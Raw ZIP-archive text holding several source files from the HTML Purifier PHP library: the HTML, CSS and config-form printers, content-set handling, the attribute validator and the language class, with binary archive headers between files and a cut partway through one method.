.hp-config thead, .hp-config .namespace {background:#3C578C; color:#FFF;}
.hp-config .namespace th {text-align:center;}
.hp-config .verbose {display:none;}
.hp-config .controls {text-align:center;}
/* vim: et sw=4 sts=4 */
PK j�$Z�z�}�( �( < htmlpurifier/library/HTMLPurifier/Printer/HTMLDefinition.phpnu �[��� <?php
class HTMLPurifier_Printer_HTMLDefinition extends HTMLPurifier_Printer
{
/**
* @type HTMLPurifier_HTMLDefinition, for easy access
*/
protected $def;
/**
* @param HTMLPurifier_Config $config
* @return string
*/
public function render($config)
{
$ret = '';
$this->config =& $config;
$this->def = $config->getHTMLDefinition();
$ret .= $this->start('div', array('class' => 'HTMLPurifier_Printer'));
$ret .= $this->renderDoctype();
$ret .= $this->renderEnvironment();
$ret .= $this->renderContentSets();
$ret .= $this->renderInfo();
$ret .= $this->end('div');
return $ret;
}
/**
* Renders the Doctype table
* @return string
*/
protected function renderDoctype()
{
$doctype = $this->def->doctype;
$ret = '';
$ret .= $this->start('table');
$ret .= $this->element('caption', 'Doctype');
$ret .= $this->row('Name', $doctype->name);
$ret .= $this->row('XML', $doctype->xml ? 'Yes' : 'No');
$ret .= $this->row('Default Modules', implode($doctype->modules, ', '));
$ret .= $this->row('Default Tidy Modules', implode($doctype->tidyModules, ', '));
$ret .= $this->end('table');
return $ret;
}
/**
* Renders environment table, which is miscellaneous info
* @return string
*/
protected function renderEnvironment()
{
$def = $this->def;
$ret = '';
$ret .= $this->start('table');
$ret .= $this->element('caption', 'Environment');
$ret .= $this->row('Parent of fragment', $def->info_parent);
$ret .= $this->renderChildren($def->info_parent_def->child);
$ret .= $this->row('Block wrap name', $def->info_block_wrapper);
$ret .= $this->start('tr');
$ret .= $this->element('th', 'Global attributes');
$ret .= $this->element('td', $this->listifyAttr($def->info_global_attr), null, 0);
$ret .= $this->end('tr');
$ret .= $this->start('tr');
$ret .= $this->element('th', 'Tag transforms');
$list = array();
foreach ($def->info_tag_transform as $old => $new) {
$new = $this->getClass($new, 'TagTransform_');
$list[] = "<$old> with $new";
}
$ret .= $this->element('td', $this->listify($list));
$ret .= $this->end('tr');
$ret .= $this->start('tr');
$ret .= $this->element('th', 'Pre-AttrTransform');
$ret .= $this->element('td', $this->listifyObjectList($def->info_attr_transform_pre));
$ret .= $this->end('tr');
$ret .= $this->start('tr');
$ret .= $this->element('th', 'Post-AttrTransform');
$ret .= $this->element('td', $this->listifyObjectList($def->info_attr_transform_post));
$ret .= $this->end('tr');
$ret .= $this->end('table');
return $ret;
}
/**
* Renders the Content Sets table
* @return string
*/
protected function renderContentSets()
{
$ret = '';
$ret .= $this->start('table');
$ret .= $this->element('caption', 'Content Sets');
foreach ($this->def->info_content_sets as $name => $lookup) {
$ret .= $this->heavyHeader($name);
$ret .= $this->start('tr');
$ret .= $this->element('td', $this->listifyTagLookup($lookup));
$ret .= $this->end('tr');
}
$ret .= $this->end('table');
return $ret;
}
/**
* Renders the Elements ($info) table
* @return string
*/
protected function renderInfo()
{
$ret = '';
$ret .= $this->start('table');
$ret .= $this->element('caption', 'Elements ($info)');
ksort($this->def->info);
$ret .= $this->heavyHeader('Allowed tags', 2);
$ret .= $this->start('tr');
$ret .= $this->element('td', $this->listifyTagLookup($this->def->info), array('colspan' => 2));
$ret .= $this->end('tr');
foreach ($this->def->info as $name => $def) {
$ret .= $this->start('tr');
$ret .= $this->element('th', "<$name>", array('class' => 'heavy', 'colspan' => 2));
$ret .= $this->end('tr');
$ret .= $this->start('tr');
$ret .= $this->element('th', 'Inline content');
$ret .= $this->element('td', $def->descendants_are_inline ? 'Yes' : 'No');
$ret .= $this->end('tr');
if (!empty($def->excludes)) {
$ret .= $this->start('tr');
$ret .= $this->element('th', 'Excludes');
$ret .= $this->element('td', $this->listifyTagLookup($def->excludes));
$ret .= $this->end('tr');
}
if (!empty($def->attr_transform_pre)) {
$ret .= $this->start('tr');
$ret .= $this->element('th', 'Pre-AttrTransform');
$ret .= $this->element('td', $this->listifyObjectList($def->attr_transform_pre));
$ret .= $this->end('tr');
}
if (!empty($def->attr_transform_post)) {
$ret .= $this->start('tr');
$ret .= $this->element('th', 'Post-AttrTransform');
$ret .= $this->element('td', $this->listifyObjectList($def->attr_transform_post));
$ret .= $this->end('tr');
}
if (!empty($def->auto_close)) {
$ret .= $this->start('tr');
$ret .= $this->element('th', 'Auto closed by');
$ret .= $this->element('td', $this->listifyTagLookup($def->auto_close));
$ret .= $this->end('tr');
}
$ret .= $this->start('tr');
$ret .= $this->element('th', 'Allowed attributes');
$ret .= $this->element('td', $this->listifyAttr($def->attr), array(), 0);
$ret .= $this->end('tr');
if (!empty($def->required_attr)) {
$ret .= $this->row('Required attributes', $this->listify($def->required_attr));
}
$ret .= $this->renderChildren($def->child);
}
$ret .= $this->end('table');
return $ret;
}
/**
* Renders a row describing the allowed children of an element
* @param HTMLPurifier_ChildDef $def HTMLPurifier_ChildDef of pertinent element
* @return string
*/
protected function renderChildren($def)
{
$context = new HTMLPurifier_Context();
$ret = '';
$ret .= $this->start('tr');
$elements = array();
$attr = array();
if (isset($def->elements)) {
if ($def->type == 'strictblockquote') {
$def->validateChildren(array(), $this->config, $context);
}
$elements = $def->elements;
}
if ($def->type == 'chameleon') {
$attr['rowspan'] = 2;
} elseif ($def->type == 'empty') {
$elements = array();
} elseif ($def->type == 'table') {
$elements = array_flip(
array(
'col',
'caption',
'colgroup',
'thead',
'tfoot',
'tbody',
'tr'
)
);
}
$ret .= $this->element('th', 'Allowed children', $attr);
if ($def->type == 'chameleon') {
$ret .= $this->element(
'td',
'<em>Block</em>: ' .
$this->escape($this->listifyTagLookup($def->block->elements)),
null,
0
);
$ret .= $this->end('tr');
$ret .= $this->start('tr');
$ret .= $this->element(
'td',
'<em>Inline</em>: ' .
$this->escape($this->listifyTagLookup($def->inline->elements)),
null,
0
);
} elseif ($def->type == 'custom') {
$ret .= $this->element(
'td',
'<em>' . ucfirst($def->type) . '</em>: ' .
$def->dtd_regex
);
} else {
$ret .= $this->element(
'td',
'<em>' . ucfirst($def->type) . '</em>: ' .
$this->escape($this->listifyTagLookup($elements)),
null,
0
);
}
$ret .= $this->end('tr');
return $ret;
}
/**
* Listifies a tag lookup table.
* @param array $array Tag lookup array in form of array('tagname' => true)
* @return string
*/
protected function listifyTagLookup($array)
{
ksort($array);
$list = array();
foreach ($array as $name => $discard) {
if ($name !== '#PCDATA' && !isset($this->def->info[$name])) {
continue;
}
$list[] = $name;
}
return $this->listify($list);
}
/**
* Listifies a list of objects by retrieving class names and internal state
* @param array $array List of objects
* @return string
* @todo Also add information about internal state
*/
protected function listifyObjectList($array)
{
ksort($array);
$list = array();
foreach ($array as $obj) {
$list[] = $this->getClass($obj, 'AttrTransform_');
}
return $this->listify($list);
}
/**
* Listifies a hash of attributes to AttrDef classes
* @param array $array Array hash in form of array('attrname' => HTMLPurifier_AttrDef)
* @return string
*/
protected function listifyAttr($array)
{
ksort($array);
$list = array();
foreach ($array as $name => $obj) {
if ($obj === false) {
continue;
}
$list[] = "$name = <i>" . $this->getClass($obj, 'AttrDef_') . '</i>';
}
return $this->listify($list);
}
/**
* Creates a heavy header row
* @param string $text
* @param int $num
* @return string
*/
protected function heavyHeader($text, $num = 1)
{
$ret = '';
$ret .= $this->start('tr');
$ret .= $this->element('th', $text, array('colspan' => $num, 'class' => 'heavy'));
$ret .= $this->end('tr');
return $ret;
}
}
// vim: et sw=4 sts=4
PK j�$Z~5�� � ; htmlpurifier/library/HTMLPurifier/Printer/CSSDefinition.phpnu �[��� <?php
class HTMLPurifier_Printer_CSSDefinition extends HTMLPurifier_Printer
{
/**
* @type HTMLPurifier_CSSDefinition
*/
protected $def;
/**
* @param HTMLPurifier_Config $config
* @return string
*/
public function render($config)
{
$this->def = $config->getCSSDefinition();
$ret = '';
$ret .= $this->start('div', array('class' => 'HTMLPurifier_Printer'));
$ret .= $this->start('table');
$ret .= $this->element('caption', 'Properties ($info)');
$ret .= $this->start('thead');
$ret .= $this->start('tr');
$ret .= $this->element('th', 'Property', array('class' => 'heavy'));
$ret .= $this->element('th', 'Definition', array('class' => 'heavy', 'style' => 'width:auto;'));
$ret .= $this->end('tr');
$ret .= $this->end('thead');
ksort($this->def->info);
foreach ($this->def->info as $property => $obj) {
$name = $this->getClass($obj, 'AttrDef_');
$ret .= $this->row($property, $name);
}
$ret .= $this->end('table');
$ret .= $this->end('div');
return $ret;
}
}
// vim: et sw=4 sts=4
PK j�$Z�*5�� � 7 htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.jsnu �[��� function toggleWriteability(id_of_patient, checked) {
document.getElementById(id_of_patient).disabled = checked;
}
// vim: et sw=4 sts=4
PK j�$Z�.)�9 �9 8 htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.phpnu �[��� <?php
/**
* @todo Rewrite to use Interchange objects
*/
class HTMLPurifier_Printer_ConfigForm extends HTMLPurifier_Printer
{
/**
* Printers for specific fields.
* @type HTMLPurifier_Printer[]
*/
protected $fields = array();
/**
* Documentation URL, can have fragment tagged on end.
* @type string
*/
protected $docURL;
/**
* Name of form element to stuff config in.
* @type string
*/
protected $name;
/**
* Whether or not to compress directive names, clipping them off
* after a certain amount of letters. False to disable or integer letters
* before clipping.
* @type bool
*/
protected $compress = false;
/**
* @param string $name Form element name for directives to be stuffed into
* @param string $doc_url String documentation URL, will have fragment tagged on
* @param bool $compress Integer max length before compressing a directive name, set to false to turn off
*/
public function __construct(
$name,
$doc_url = null,
$compress = false
) {
parent::__construct();
$this->docURL = $doc_url;
$this->name = $name;
$this->compress = $compress;
// initialize sub-printers
$this->fields[0] = new HTMLPurifier_Printer_ConfigForm_default();
$this->fields[HTMLPurifier_VarParser::C_BOOL] = new HTMLPurifier_Printer_ConfigForm_bool();
}
/**
* Sets default column and row size for textareas in sub-printers
* @param $cols Integer columns of textarea, null to use default
* @param $rows Integer rows of textarea, null to use default
*/
public function setTextareaDimensions($cols = null, $rows = null)
{
if ($cols) {
$this->fields['default']->cols = $cols;
}
if ($rows) {
$this->fields['default']->rows = $rows;
}
}
/**
* Retrieves styling, in case it is not accessible by webserver
*/
public static function getCSS()
{
return file_get_contents(HTMLPURIFIER_PREFIX . '/HTMLPurifier/Printer/ConfigForm.css');
}
/**
* Retrieves JavaScript, in case it is not accessible by webserver
*/
public static function getJavaScript()
{
return file_get_contents(HTMLPURIFIER_PREFIX . '/HTMLPurifier/Printer/ConfigForm.js');
}
/**
* Returns HTML output for a configuration form
* @param HTMLPurifier_Config|array $config Configuration object of current form state, or an array
* where [0] has an HTML namespace and [1] is being rendered.
* @param array|bool $allowed Optional namespace(s) and directives to restrict form to.
* @param bool $render_controls
* @return string
*/
public function render($config, $allowed = true, $render_controls = true)
{
if (is_array($config) && isset($config[0])) {
$gen_config = $config[0];
$config = $config[1];
} else {
$gen_config = $config;
}
$this->config = $config;
$this->genConfig = $gen_config;
$this->prepareGenerator($gen_config);
$allowed = HTMLPurifier_Config::getAllowedDirectivesForForm($allowed, $config->def);
$all = array();
foreach ($allowed as $key) {
list($ns, $directive) = $key;
$all[$ns][$directive] = $config->get($ns . '.' . $directive);
}
$ret = '';
$ret .= $this->start('table', array('class' => 'hp-config'));
$ret .= $this->start('thead');
$ret .= $this->start('tr');
$ret .= $this->element('th', 'Directive', array('class' => 'hp-directive'));
$ret .= $this->element('th', 'Value', array('class' => 'hp-value'));
$ret .= $this->end('tr');
$ret .= $this->end('thead');
foreach ($all as $ns => $directives) {
$ret .= $this->renderNamespace($ns, $directives);
}
if ($render_controls) {
$ret .= $this->start('tbody');
$ret .= $this->start('tr');
$ret .= $this->start('td', array('colspan' => 2, 'class' => 'controls'));
$ret .= $this->elementEmpty('input', array('type' => 'submit', 'value' => 'Submit'));
$ret .= '[<a href="?">Reset</a>]';
$ret .= $this->end('td');
$ret .= $this->end('tr');
$ret .= $this->end('tbody');
}
$ret .= $this->end('table');
return $ret;
}
/**
* Renders a single namespace
* @param $ns String namespace name
* @param array $directives array of directives to values
* @return string
*/
protected function renderNamespace($ns, $directives)
{
$ret = '';
$ret .= $this->start('tbody', array('class' => 'namespace'));
$ret .= $this->start('tr');
$ret .= $this->element('th', $ns, array('colspan' => 2));
$ret .= $this->end('tr');
$ret .= $this->end('tbody');
$ret .= $this->start('tbody');
foreach ($directives as $directive => $value) {
$ret .= $this->start('tr');
$ret .= $this->start('th');
if ($this->docURL) {
$url = str_replace('%s', urlencode("$ns.$directive"), $this->docURL);
$ret .= $this->start('a', array('href' => $url));
}
$attr = array('for' => "{$this->name}:$ns.$directive");
// crop directive name if it's too long
if (!$this->compress || (strlen($directive) < $this->compress)) {
$directive_disp = $directive;
} else {
$directive_disp = substr($directive, 0, $this->compress - 2) . '...';
$attr['title'] = $directive;
}
$ret .= $this->element(
'label',
$directive_disp,
// component printers must create an element with this id
$attr
);
if ($this->docURL) {
$ret .= $this->end('a');
}
$ret .= $this->end('th');
$ret .= $this->start('td');
$def = $this->config->def->info["$ns.$directive"];
if (is_int($def)) {
$allow_null = $def < 0;
$type = abs($def);
} else {
$type = $def->type;
$allow_null = isset($def->allow_null);
}
if (!isset($this->fields[$type])) {
$type = 0;
} // default
$type_obj = $this->fields[$type];
if ($allow_null) {
$type_obj = new HTMLPurifier_Printer_ConfigForm_NullDecorator($type_obj);
}
$ret .= $type_obj->render($ns, $directive, $value, $this->name, array($this->genConfig, $this->config));
$ret .= $this->end('td');
$ret .= $this->end('tr');
}
$ret .= $this->end('tbody');
return $ret;
}
}
/**
* Printer decorator for directives that accept null
*/
class HTMLPurifier_Printer_ConfigForm_NullDecorator extends HTMLPurifier_Printer
{
/**
* Printer being decorated
* @type HTMLPurifier_Printer
*/
protected $obj;
/**
* @param HTMLPurifier_Printer $obj Printer to decorate
*/
public function __construct($obj)
{
parent::__construct();
$this->obj = $obj;
}
/**
* @param string $ns
* @param string $directive
* @param string $value
* @param string $name
* @param HTMLPurifier_Config|array $config
* @return string
*/
public function render($ns, $directive, $value, $name, $config)
{
if (is_array($config) && isset($config[0])) {
$gen_config = $config[0];
$config = $config[1];
} else {
$gen_config = $config;
}
$this->prepareGenerator($gen_config);
$ret = '';
$ret .= $this->start('label', array('for' => "$name:Null_$ns.$directive"));
$ret .= $this->element('span', "$ns.$directive:", array('class' => 'verbose'));
$ret .= $this->text(' Null/Disabled');
$ret .= $this->end('label');
$attr = array(
'type' => 'checkbox',
'value' => '1',
'class' => 'null-toggle',
'name' => "$name" . "[Null_$ns.$directive]",
'id' => "$name:Null_$ns.$directive",
'onclick' => "toggleWriteability('$name:$ns.$directive',checked)" // INLINE JAVASCRIPT!!!!
);
if ($this->obj instanceof HTMLPurifier_Printer_ConfigForm_bool) {
// modify inline javascript slightly
$attr['onclick'] =
"toggleWriteability('$name:Yes_$ns.$directive',checked);" .
"toggleWriteability('$name:No_$ns.$directive',checked)";
}
if ($value === null) {
$attr['checked'] = 'checked';
}
$ret .= $this->elementEmpty('input', $attr);
$ret .= $this->text(' or ');
$ret .= $this->elementEmpty('br');
$ret .= $this->obj->render($ns, $directive, $value, $name, array($gen_config, $config));
return $ret;
}
}
/**
* Swiss-army knife configuration form field printer
*/
class HTMLPurifier_Printer_ConfigForm_default extends HTMLPurifier_Printer
{
/**
* @type int
*/
public $cols = 18;
/**
* @type int
*/
public $rows = 5;
/**
* @param string $ns
* @param string $directive
* @param string $value
* @param string $name
* @param HTMLPurifier_Config|array $config
* @return string
*/
public function render($ns, $directive, $value, $name, $config)
{
if (is_array($config) && isset($config[0])) {
$gen_config = $config[0];
$config = $config[1];
} else {
$gen_config = $config;
}
$this->prepareGenerator($gen_config);
// this should probably be split up a little
$ret = '';
$def = $config->def->info["$ns.$directive"];
if (is_int($def)) {
$type = abs($def);
} else {
$type = $def->type;
}
if (is_array($value)) {
switch ($type) {
case HTMLPurifier_VarParser::LOOKUP:
$array = $value;
$value = array();
foreach ($array as $val => $b) {
$value[] = $val;
}
//TODO does this need a break?
case HTMLPurifier_VarParser::ALIST:
$value = implode(PHP_EOL, $value);
break;
case HTMLPurifier_VarParser::HASH:
$nvalue = '';
foreach ($value as $i => $v) {
if (is_array($v)) {
// HACK
$v = implode(";", $v);
}
$nvalue .= "$i:$v" . PHP_EOL;
}
$value = $nvalue;
break;
default:
$value = '';
}
}
if ($type === HTMLPurifier_VarParser::C_MIXED) {
return 'Not supported';
$value = serialize($value);
}
$attr = array(
'name' => "$name" . "[$ns.$directive]",
'id' => "$name:$ns.$directive"
);
if ($value === null) {
$attr['disabled'] = 'disabled';
}
if (isset($def->allowed)) {
$ret .= $this->start('select', $attr);
foreach ($def->allowed as $val => $b) {
$attr = array();
if ($value == $val) {
$attr['selected'] = 'selected';
}
$ret .= $this->element('option', $val, $attr);
}
$ret .= $this->end('select');
} elseif ($type === HTMLPurifier_VarParser::TEXT ||
$type === HTMLPurifier_VarParser::ITEXT ||
$type === HTMLPurifier_VarParser::ALIST ||
$type === HTMLPurifier_VarParser::HASH ||
$type === HTMLPurifier_VarParser::LOOKUP) {
$attr['cols'] = $this->cols;
$attr['rows'] = $this->rows;
$ret .= $this->start('textarea', $attr);
$ret .= $this->text($value);
$ret .= $this->end('textarea');
} else {
$attr['value'] = $value;
$attr['type'] = 'text';
$ret .= $this->elementEmpty('input', $attr);
}
return $ret;
}
}
/**
* Bool form field printer
*/
class HTMLPurifier_Printer_ConfigForm_bool extends HTMLPurifier_Printer
{
/**
* @param string $ns
* @param string $directive
* @param string $value
* @param string $name
* @param HTMLPurifier_Config|array $config
* @return string
*/
public function render($ns, $directive, $value, $name, $config)
{
if (is_array($config) && isset($config[0])) {
$gen_config = $config[0];
$config = $config[1];
} else {
$gen_config = $config;
}
$this->prepareGenerator($gen_config);
$ret = '';
$ret .= $this->start('div', array('id' => "$name:$ns.$directive"));
$ret .= $this->start('label', array('for' => "$name:Yes_$ns.$directive"));
$ret .= $this->element('span', "$ns.$directive:", array('class' => 'verbose'));
$ret .= $this->text(' Yes');
$ret .= $this->end('label');
$attr = array(
'type' => 'radio',
'name' => "$name" . "[$ns.$directive]",
'id' => "$name:Yes_$ns.$directive",
'value' => '1'
);
if ($value === true) {
$attr['checked'] = 'checked';
}
if ($value === null) {
$attr['disabled'] = 'disabled';
}
$ret .= $this->elementEmpty('input', $attr);
$ret .= $this->start('label', array('for' => "$name:No_$ns.$directive"));
$ret .= $this->element('span', "$ns.$directive:", array('class' => 'verbose'));
$ret .= $this->text(' No');
$ret .= $this->end('label');
$attr = array(
'type' => 'radio',
'name' => "$name" . "[$ns.$directive]",
'id' => "$name:No_$ns.$directive",
'value' => '0'
);
if ($value === false) {
$attr['checked'] = 'checked';
}
if ($value === null) {
$attr['disabled'] = 'disabled';
}
$ret .= $this->elementEmpty('input', $attr);
$ret .= $this->end('div');
return $ret;
}
}
// vim: et sw=4 sts=4
PK j�$Z���> 1 htmlpurifier/library/HTMLPurifier/ContentSets.phpnu �[��� <?php
/**
* @todo Unit test
*/
class HTMLPurifier_ContentSets
{
/**
* List of content set strings (pipe separators) indexed by name.
* @type array
*/
public $info = array();
/**
* List of content set lookups (element => true) indexed by name.
* @type array
* @note This is in HTMLPurifier_HTMLDefinition->info_content_sets
*/
public $lookup = array();
/**
* Synchronized list of defined content sets (keys of info).
* @type array
*/
protected $keys = array();
/**
* Synchronized list of defined content values (values of info).
* @type array
*/
protected $values = array();
/**
* Merges in module's content sets, expands identifiers in the content
* sets and populates the keys, values and lookup member variables.
* @param HTMLPurifier_HTMLModule[] $modules List of HTMLPurifier_HTMLModule
*/
public function __construct($modules)
{
if (!is_array($modules)) {
$modules = array($modules);
}
// populate content_sets based on module hints
// sorry, no way of overloading
foreach ($modules as $module) {
foreach ($module->content_sets as $key => $value) {
$temp = $this->convertToLookup($value);
if (isset($this->lookup[$key])) {
// add it into the existing content set
$this->lookup[$key] = array_merge($this->lookup[$key], $temp);
} else {
$this->lookup[$key] = $temp;
}
}
}
$old_lookup = false;
while ($old_lookup !== $this->lookup) {
$old_lookup = $this->lookup;
foreach ($this->lookup as $i => $set) {
$add = array();
foreach ($set as $element => $x) {
if (isset($this->lookup[$element])) {
$add += $this->lookup[$element];
unset($this->lookup[$i][$element]);
}
}
$this->lookup[$i] += $add;
}
}
foreach ($this->lookup as $key => $lookup) {
$this->info[$key] = implode(' | ', array_keys($lookup));
}
$this->keys = array_keys($this->info);
$this->values = array_values($this->info);
}
/**
* Accepts a definition; generates and assigns a ChildDef for it
* @param HTMLPurifier_ElementDef $def HTMLPurifier_ElementDef reference
* @param HTMLPurifier_HTMLModule $module Module that defined the ElementDef
*/
public function generateChildDef(&$def, $module)
{
if (!empty($def->child)) { // already done!
return;
}
$content_model = $def->content_model;
if (is_string($content_model)) {
// Assume that $this->keys is alphanumeric
$def->content_model = preg_replace_callback(
'/\b(' . implode('|', $this->keys) . ')\b/',
array($this, 'generateChildDefCallback'),
$content_model
);
//$def->content_model = str_replace(
// $this->keys, $this->values, $content_model);
}
$def->child = $this->getChildDef($def, $module);
}
public function generateChildDefCallback($matches)
{
return $this->info[$matches[0]];
}
/**
* Instantiates a ChildDef based on content_model and content_model_type
* member variables in HTMLPurifier_ElementDef
* @note This will also defer to modules for custom HTMLPurifier_ChildDef
* subclasses that need content set expansion
* @param HTMLPurifier_ElementDef $def HTMLPurifier_ElementDef to have ChildDef extracted
* @param HTMLPurifier_HTMLModule $module Module that defined the ElementDef
* @return HTMLPurifier_ChildDef corresponding to ElementDef
*/
public function getChildDef($def, $module)
{
$value = $def->content_model;
if (is_object($value)) {
trigger_error(
'Literal object child definitions should be stored in '.
'ElementDef->child not ElementDef->content_model',
E_USER_NOTICE
);
return $value;
}
switch ($def->content_model_type) {
case 'required':
return new HTMLPurifier_ChildDef_Required($value);
case 'optional':
return new HTMLPurifier_ChildDef_Optional($value);
case 'empty':
return new HTMLPurifier_ChildDef_Empty();
case 'custom':
return new HTMLPurifier_ChildDef_Custom($value);
}
// defer to its module
$return = false;
if ($module->defines_child_def) { // save a func call
$return = $module->getChildDef($def);
}
if ($return !== false) {
return $return;
}
// error-out
trigger_error(
'Could not determine which ChildDef class to instantiate',
E_USER_ERROR
);
return false;
}
/**
* Converts a string list of elements separated by pipes into
* a lookup array.
* @param string $string List of elements
* @return array Lookup array of elements
*/
protected function convertToLookup($string)
{
$array = explode('|', str_replace(' ', '', $string));
$ret = array();
foreach ($array as $k) {
$ret[$k] = true;
}
return $ret;
}
}
// vim: et sw=4 sts=4
PK j�$Z�J�� � 3 htmlpurifier/library/HTMLPurifier/AttrValidator.phpnu �[��� <?php
/**
* Validates the attributes of a token. Doesn't manage required attributes
* very well. The only reason we factored this out was because RemoveForeignElements
* also needed it besides ValidateAttributes.
*/
class HTMLPurifier_AttrValidator
{
/**
* Validates the attributes of a token, mutating it as necessary.
* that has valid tokens
* @param HTMLPurifier_Token $token Token to validate.
* @param HTMLPurifier_Config $config Instance of HTMLPurifier_Config
* @param HTMLPurifier_Context $context Instance of HTMLPurifier_Context
*/
public function validateToken($token, $config, $context)
{
$definition = $config->getHTMLDefinition();
$e =& $context->get('ErrorCollector', true);
// initialize IDAccumulator if necessary
$ok =& $context->get('IDAccumulator', true);
if (!$ok) {
$id_accumulator = HTMLPurifier_IDAccumulator::build($config, $context);
$context->register('IDAccumulator', $id_accumulator);
}
// initialize CurrentToken if necessary
$current_token =& $context->get('CurrentToken', true);
if (!$current_token) {
$context->register('CurrentToken', $token);
}
if (!$token instanceof HTMLPurifier_Token_Start &&
!$token instanceof HTMLPurifier_Token_Empty
) {
return;
}
// create alias to global definition array, see also $defs
// DEFINITION CALL
$d_defs = $definition->info_global_attr;
// don't update token until the very end, to ensure an atomic update
$attr = $token->attr;
// do global transformations (pre)
// nothing currently utilizes this
foreach ($definition->info_attr_transform_pre as $transform) {
$attr = $transform->transform($o = $attr, $config, $context);
if ($e) {
if ($attr != $o) {
$e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr);
}
}
}
// do local transformations only applicable to this element (pre)
// ex. <p align="right"> to <p style="text-align:right;">
foreach ($definition->info[$token->name]->attr_transform_pre as $transform) {
$attr = $transform->transform($o = $attr, $config, $context);
if ($e) {
if ($attr != $o) {
$e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr);
}
}
}
// create alias to this element's attribute definition array, see
// also $d_defs (global attribute definition array)
// DEFINITION CALL
$defs = $definition->info[$token->name]->attr;
$attr_key = false;
$context->register('CurrentAttr', $attr_key);
// iterate through all the attribute keypairs
// Watch out for name collisions: $key has previously been used
foreach ($attr as $attr_key => $value) {
// call the definition
if (isset($defs[$attr_key])) {
// there is a local definition defined
if ($defs[$attr_key] === false) {
// We've explicitly been told not to allow this element.
// This is usually when there's a global definition
// that must be overridden.
// Theoretically speaking, we could have a
// AttrDef_DenyAll, but this is faster!
$result = false;
} else {
// validate according to the element's definition
$result = $defs[$attr_key]->validate(
$value,
$config,
$context
);
}
} elseif (isset($d_defs[$attr_key])) {
// there is a global definition defined, validate according
// to the global definition
$result = $d_defs[$attr_key]->validate(
$value,
$config,
$context
);
} else {
// system never heard of the attribute? DELETE!
$result = false;
}
// put the results into effect
if ($result === false || $result === null) {
// this is a generic error message that should replaced
// with more specific ones when possible
if ($e) {
$e->send(E_ERROR, 'AttrValidator: Attribute removed');
}
// remove the attribute
unset($attr[$attr_key]);
} elseif (is_string($result)) {
// generally, if a substitution is happening, there
// was some sort of implicit correction going on. We'll
// delegate it to the attribute classes to say exactly what.
// simple substitution
$attr[$attr_key] = $result;
} else {
// nothing happens
}
// we'd also want slightly more complicated substitution
// involving an array as the return value,
// although we're not sure how colliding attributes would
// resolve (certain ones would be completely overriden,
// others would prepend themselves).
}
$context->destroy('CurrentAttr');
// post transforms
// global (error reporting untested)
foreach ($definition->info_attr_transform_post as $transform) {
$attr = $transform->transform($o = $attr, $config, $context);
if ($e) {
if ($attr != $o) {
$e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr);
}
}
}
// local (error reporting untested)
foreach ($definition->info[$token->name]->attr_transform_post as $transform) {
$attr = $transform->transform($o = $attr, $config, $context);
if ($e) {
if ($attr != $o) {
$e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr);
}
}
}
$token->attr = $attr;
// destroy CurrentToken if we made it ourselves
if (!$current_token) {
$context->destroy('CurrentToken');
}
}
}
// vim: et sw=4 sts=4
PK j�$Z�8@�� � . htmlpurifier/library/HTMLPurifier/Language.phpnu �[��� <?php
/**
* Represents a language and defines localizable string formatting and
* other functions, as well as the localized messages for HTML Purifier.
*/
class HTMLPurifier_Language
{
/**
* ISO 639 language code of language. Prefers shortest possible version.
* @type string
*/
public $code = 'en';
/**
* Fallback language code.
* @type bool|string
*/
public $fallback = false;
/**
* Array of localizable messages.
* @type array
*/
public $messages = array();
/**
* Array of localizable error codes.
* @type array
*/
public $errorNames = array();
/**
* True if no message file was found for this language, so English
* is being used instead. Check this if you'd like to notify the
* user that they've used a non-supported language.
* @type bool
*/
public $error = false;
/**
* Has the language object been loaded yet?
* @type bool
* @todo Make it private, fix usage in HTMLPurifier_LanguageTest
*/
public $_loaded = false;
/**
* @type HTMLPurifier_Config
*/
protected $config;
/**
* @type HTMLPurifier_Context
*/
protected $context;
/**
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
*/
public function __construct($config, $context)
{
$this->config = $config;
$this->context = $context;
}
/**
* Loads language object with necessary info from factory cache
* @note This is a lazy loader
*/
public function load()
{
if ($this->_loaded) {
return;
}
$factory = HTMLPurifier_LanguageFactory::instance();
$factory->loadLanguage($this->code);
foreach ($factory->keys as $key) {
$this->$key = $factory->cache[$this->code][$key];
}
$this->_loaded = true;
}
/**
* Retrieves a localised message.
* @param string $key string identifier of message
* @return string localised message
*/
public function getMessage($key)
{
if (!$this->_loaded) {
$this->load();
}
if (!isset($this->messages[$key])) {
return "[$key]";
}
return $this->messages[$key];
}
/**
* Retrieves a localised error name.
* @param int $int error number, corresponding to PHP's error reporting
* @return string localised message
*/
public function getErrorName($int)
{
if (!$this->_loaded) {
$this->load();
}
if (!isset($this->errorNames[$int])) {
return "[Error: $int]";
}
return $this->errorNames[$int];
}
/**
* Converts an array list into a string readable representation
* @param array $array
* @return string
*/
public function listify($array)
{
$sep = $this->getMessage('Item separator');
$sep_last = $this->getMessage('Item separator last');
$ret = '';
for ($i = 0, $c = count($array); $i < $c; $i++) {
if ($i == 0) {
} elseif ($i + 1 < $c) {
$ret .= $sep;
} else {
$ret .= $sep_last;
}
$ret .= $array[$i];
}
return $ret;
}
/**
* Formats a localised message with passed parameters
* @param string $key string identifier of message
* @param array $args Parameters to substitute in
* @return string localised message
* @todo Implement conditionals? Right now, some messages make
* reference to line numbers, but those aren't always available
*/
public function formatMessage($key, $args = array())
{
if (!$this->_loaded) {
$this->load();
}
if (!isset($this->messages[$key])) {
return "[$key]";
}
$raw = $this->messages[$key];
$subst = array();
$generator = false;
foreach ($args as $i => $value) {
if (is_object($value)) {
if ($value instanceof HTMLPurifier_Token) {
// factor this out some time
if (!$generator) {
$generator = $this->context->get('Generator');
}
if (isset($value->name)) {
$subst['$'.$i.'.Name'] = $value->name;
}
if (isset($value->data)) {
$subst['$'.$i.'.Data'] = $value->data;
}
$subst['$'.$i.'.Compact'] =
$subst['$'.$i.'.Serialized'] = $generator->generateFromToken($value);
// a more complex algorithm for compact representation
// could be introduced for all types of tokens. This
// may need to be factored out into a dedicated class
if (!empty($value->attr)) {
$stripped_token = clone $value;
$stripped_token->attr = array();
$subst['$'.$i.'.Compact'] = $generator->generateFromToken($stripped_token);
}
$subst['$'.$i.'.Line'] = $value->line ? $value->line : 'unknown';
}
continue;
} elseif (is_array($value)) {
$keys = array_keys($value);
